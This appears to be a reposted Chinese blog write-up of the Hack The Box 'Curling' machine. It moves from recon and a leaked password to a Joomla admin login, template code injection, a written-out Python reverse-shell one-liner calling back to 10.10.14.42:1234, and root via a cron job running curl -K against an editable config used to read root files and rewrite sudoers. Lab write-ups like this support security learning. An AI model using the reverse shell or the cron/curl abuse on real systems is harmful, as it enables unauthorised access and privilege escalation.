HTB

阅读: 评论:0

HTB

HTB

HTB-Curling

  • 信息收集
  • 开机
  • 提权

信息收集

目录扫描

nmap

  • http 80
  • ssh 22

看到这么多内容,要耐心的收集可能有用的信息。

这个界面收集到的信息整理一下

  • Super User 可能是 Floris
  • 登录功能可能存在弱密码登录或sql注入

继续收集信息

2022 Cewl Curling site
查看源码发现一个注释


收集的信息

  • Super User 可能是 Floris
  • 登录功能可能存在弱密码登录或sql注入
  • 2022 Cewl Curling site
  • 未知信息:Curling2018!

再去看看那个登录功能,可以看到我尝试了很多种凭证,均以失败告终。

那这个Curling2018!!和疑似超级用户的Floris可以用在什么地方呢,还有一个ssh,但是尝试后发现不行。还有其他地方么,还有一个administrator目录


也做了多次尝试最终发现Floris:Curling2018!可以登录

开机

进到主页以后,个人认为应该是找能配合上传漏洞的功能或者类似于RCE的功能,看到有模板,进去看看。



有两个模板,先来测试测试这两个模板的使用情况

试探性的分别在Beez3模板和protostatindex.php模板文件上添加一句echo

经过测试此网站目前使用的是protostar模板

可以在index.php做手脚,这样比较麻烦每次都要重新保存。

换成这样就可以了

经过测试发现目标装有python

开个终端监听1234端口,

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.42",1234));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

提权

然后就可以准备下一步了,可以看到我们没有红色框线内的文件的任意权限。

当然,最吸引人的就是password_backup这个文件了,看到这我盲猜应该是ssh的私钥。

想用python -m http.server 80开一个简易FTP但是行不通,正好这两台电脑在局域网内,可以用nc传输。

发送方: nc -l 端口 < 文件 -l就是listen监听
接收方:nc ip 端口 > 文件
先在发送方执行,后接受方执行。可以把>左边大的地方看成门的入口,尖尖是出口,发送方就是文件从入口进从监听的端口出去,而建立连接后文件从ip 端口出来到文件去(这个文件可以随便改名)。


很遗憾猜测错了,不是ssh私钥,去查查文件头呢。

在Static-AJ博主的一篇文章中找到了,非常感谢这位博主。


使用xxd -r


解压的时候又出现问题,结果一看又是包中包中包,先手动解压几次如果超过就写脚本解压。

经过tar解压的时候遇到问题了


因为我加了-z

<里面装的这个5d<wdCbdZu)|hChXll,试试这个密码是不是floris用户的密码

尝试之后成功切换到floris用户

这时候就可以去神秘的admin-area一探究竟了。

input里面装的

report装了一大堆,不过好像就是首页。

用diff对比一下只有一些因为环境变量不同而改变的。

再去看看sudo -l

看样子线索断了,无意间看到这两个文件的时间。

去看看crontab,又没有收获。

但是我们可以去监视与这两个文件有关系的进程,借助稀烂的基础写了个循环。

while true;do ps auxwww | grep input;done

/bin/sh -c curl -K /home/floris/admin-area/input -o /home/floris/admin-area/report
/bin/sh -c sleep 1; cat / > /home/floris/admin-area/input
curl -K /home/floris/admin-area/input -o /home/floris/admin-area/report

curl -K,意思就是会从读取文件里面的内容作为参数

因为input里面是127.0.0.1所以curl结果就是我们能访问的网页首页,然后把curl结果输出到同目录下的report里。

有个想法,先找到<位置然后直接curl它让它输出在report里面,啊当然&#在/root/里面,先看看url怎么访问一个文件。


但是我这貌似不行,突然发现root前面少个/。

那怎么拿到root权限呢,既然能通过input调取我们想要的,就用input调ssh私钥。
ssh安装的时候就会在/etc/ssh/生成一个ssh_host_rsa_key 私钥。

然后用私钥连接居然还要密码,是不是目标ssh配置文件关闭了私钥登录root。
看来禁止了root登录。

可以想办法修改一下sudoer呢,先去看看sudoer文件。

测试发现使用两个-o参数只会warning而且只有第一个-o参数有效,那就去试试。


啊哦,看起来不能这样用,难不成不能放在一行。

查看curl手册发现-K参数的config文件每个物理行仅写入一个选项。

分为两行尝试

然后就root了。


本文发布于:2024-02-02 11:22:09,感谢您对本站的认可!

本文链接:https://www.4u4v.net/it/170684412843464.html

版权声明:本站内容均来自互联网,仅供演示用,请勿用于商业和其他非法用途。如果侵犯了您的权益请与我们联系,我们将在24小时内删除。

标签:HTB
留言与评论(共有 0 条评论)
   
验证码:

Copyright ©2019-2022 Comsenz Inc.Powered by ©

网站地图1 网站地图2 网站地图3 网站地图4 网站地图5 网站地图6 网站地图7 网站地图8 网站地图9 网站地图10 网站地图11 网站地图12 网站地图13 网站地图14 网站地图15 网站地图16 网站地图17 网站地图18 网站地图19 网站地图20 网站地图21 网站地图22/a> 网站地图23